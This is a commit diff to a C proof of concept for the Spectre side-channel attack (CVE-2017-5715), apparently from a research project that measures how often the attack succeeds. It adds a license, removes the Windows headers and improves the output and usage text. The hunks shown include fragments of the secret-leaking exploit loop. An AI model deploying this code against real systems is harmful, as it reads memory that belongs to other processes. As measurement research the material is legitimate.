Add threshold info to output, remove windows headers and add license

This commit is contained in:
Samuel Aubertin 2022-01-24 14:01:58 +01:00
parent 29a258a52c
commit 131e376de4

View File

@ -1,14 +1,30 @@
/* spectre.c - CVE-2017-5715 user-to-user sucess rate measurement
*
* Borrows code from
* - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
* - https://github.com/genua/meltdown
*
* Copyright (c) 2022 Samuel AUBERTIN
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <getopt.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
#if defined(__i386__) || defined(__amd64__)
#define CACHELINESIZE 64
@ -226,7 +242,7 @@ main(
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = (int)strlen(secret);
uint8_t value[2];
unsigned sucesses = 0;
unsigned successes = 0;
while ((o = getopt(argc, argv, "t:vc")) != EOF) {
switch (o) {
@ -242,8 +258,10 @@ main(
default:
usage:
fprintf(stderr, "usage: %s [-v] [-c] "
"[-t threshold]\n", argv[0]);
return 2;
"[-t threshold]\n\t-v\t\tverbose\n"
"\t-c\t\tcalibrate only\n"
"\t-t\t\tfixed threshold, in milliseconds\n", argv[0]);
return 1;
}
}
if (argc != optind)
@ -258,14 +276,16 @@ main(
while (--len >= 0) {
leak(malicious_x++, value, score, cache_hit_threshold);
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
sucesses++;
successes++;
fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
} else {
fprintf(stderr, "\033[31m?\033[0m");
}
}
fprintf(stderr, "\n");
printf("%s: %.0f %%\n", argv[0] + 2, 100 * sucesses / (float)strlen(secret));
printf("%s:\tsuccess= %.0f %%\tthreshold= %d ms\n",
argv[0] + 2,
100 * successes / (float)strlen(secret), cache_hit_threshold);
return 0;
}